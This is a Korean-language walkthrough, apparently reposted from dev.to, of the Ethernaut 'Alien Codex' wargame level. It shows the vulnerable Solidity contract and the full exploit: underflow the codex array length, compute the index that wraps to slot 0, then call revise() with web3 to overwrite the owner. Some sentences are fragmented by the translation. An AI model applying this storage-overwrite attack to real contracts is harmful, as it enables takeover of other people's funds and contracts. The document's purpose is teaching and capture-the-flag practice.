Ethernaut: 19. 외계인 코덱스
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import '../helpers/Ownable-05.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function make_contact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
문제는 계약의 소유자를 변경하기 위해
codex
배열을 어떻게든 사용하도록 암시하고 있습니다. 그렇게 하는 도구는 아마도 배열의 length
와 관련이 있을 것입니다. 사실, retract
는 의심스러울 정도로 위험하며 실제로 배열 길이를 언더플로할 수 있습니다!. 배열 길이는 uint256
이며 일단 언더플로우되면 기본적으로 전체 계약 스토리지(모든 2 ^ 256 - 1
슬롯)를 배열의 일부로 "가집니다". 결과적으로 해당 배열로 메모리의 모든 항목을 인덱싱할 수 있습니다!make_contact
다음에 await web3.eth.getStorageAt(contract.address, 0)
가 0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272
를 반환하는 것을 볼 수 있습니다. 32바이트보다 작은 변수는 연속적일 경우 함께 묶이므로 실제로는 owner
및 contact
변수가 나란히 있습니다! 맨 왼쪽 끝에 있는 01
0x00..01
는 부울 값을 나타냅니다. await web3.eth.getStorageAt(contract.address, 1)
는 codex
배열의 길이입니다. 무언가를 기록하면 증가하는 것을 볼 수 있습니다. 글쎄, 만약 우리가 retract
? 당신은 그것이 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
가 되는 것을 보고 충격을 받을 것입니다! 그렇다면 인덱싱은 어떻게 작동하며 어레이가 전체 스토리지를 포함하므로 이제
owner
슬롯을 어떻게 인덱싱할 수 있습니까? 퍼즐이 사용하는 가장 높은 버전 0.5.0의 문서를 살펴봅니다: https://docs.soliditylang.org/en/v0.5.17/miscellaneous.html#mappings-and-dynamic-arrays .The mapping or the dynamic array itself occupies a slot in storage at some position p according to the above rule (or by recursively applying this rule for mappings of mappings or arrays of arrays). For dynamic arrays, this slot stores the number of elements in the array. Array data is located at keccak256(p).
이를 실제로 확인하기 위해 다음을 수행할 수 있습니다.
await contract.record('0xffffffffffffffffffffffffffffffff')
await web3.eth.getStorageAt(contract.address , web3.utils.hexToNumberString(web3.utils.soliditySha3(1)))
// 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000
자, 먼저 배열 길이가 언더플로될 때까지
retract
해야 합니다. 그런 다음 오버플로될 때까지 keccak256(1)
에서 충분히 오프셋하고 0번째 인덱스로 돌아가서 owner
를 덮어씁니다! 배열 데이터는 uint256(keccak256(1))
에 있으며 그와 메모리 끝 사이에 2 ** 256 - 1 - uint256(keccak256(1))
값이 있습니다. 따라서 여기에 하나를 더 추가하면 0번째 인덱스로 이동한다는 의미입니다. 이 지수를 계산하기 위해 Remix에 작은 Solidity 코드를 작성했습니다.function index() public pure returns(uint256) {
return type(uint256).max - uint256(keccak256(abi.encodePacked(uint256(1)))) + 1;
}
그런 다음 다음과 같이
revise
함수를 호출합니다.await contract.codex('35707666377435648211887908874984608119992236509074197713628505308453184860938') // if you want to confirm
await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938', web3.utils.padLeft(player, 64))
고맙게도 버전 0.6.0부터는 배열 길이 속성을 설정할 수 없습니다! https://ethereum.stackexchange.com/a/84130을 참조하십시오.
Reference
이 문제에 관하여(Ethernaut: 19. 외계인 코덱스), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/erhant/ethernaut-19-alien-codex-3e49텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)